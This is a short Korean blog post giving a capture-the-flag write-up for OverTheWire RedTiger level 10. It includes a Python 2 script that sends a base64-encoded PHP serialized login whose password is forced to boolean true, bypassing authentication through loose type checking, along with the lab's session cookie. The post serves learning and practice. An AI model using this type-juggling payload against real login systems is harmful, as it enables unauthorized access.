본문 바로가기
카테고리 없음

[OverTheWire RedTiger] level 10

by jskimm 2022. 1. 10.
728x90

username 에다 SQL Injection 하는 문제인 줄 알았는데.. 아니었다.
서버 측에서 데이터 타입을 검사하지 않는다.
그래서 password를 boolean으로 강제 형변환 하고 1(true)을 주면,
unserialize할 때, password가 그냥 참이라서 풀려버린다.

 

import urllib2
import base64

from urllib import urlencode

headers = {"Cookie":"level10login=get_post_cookie_head__kittens_eating_all_my_bread"}

def pwn(username):
	serial = 'a:2:{s:8:"username";s:%s:"%s";s:8:"password";b:1;}' % ( len(username), username )
	params = {
		"login":base64.b64encode(serial),
		"dologin":"Login"
	}
	url = "http://redtiger.labs.overthewire.org/level10.php"
	req = urllib2.Request(url, urlencode(params), headers=headers)
	res = urllib2.urlopen(req).read()
	return res


if __name__=="__main__":
	print pwn("TheMaster")
728x90

댓글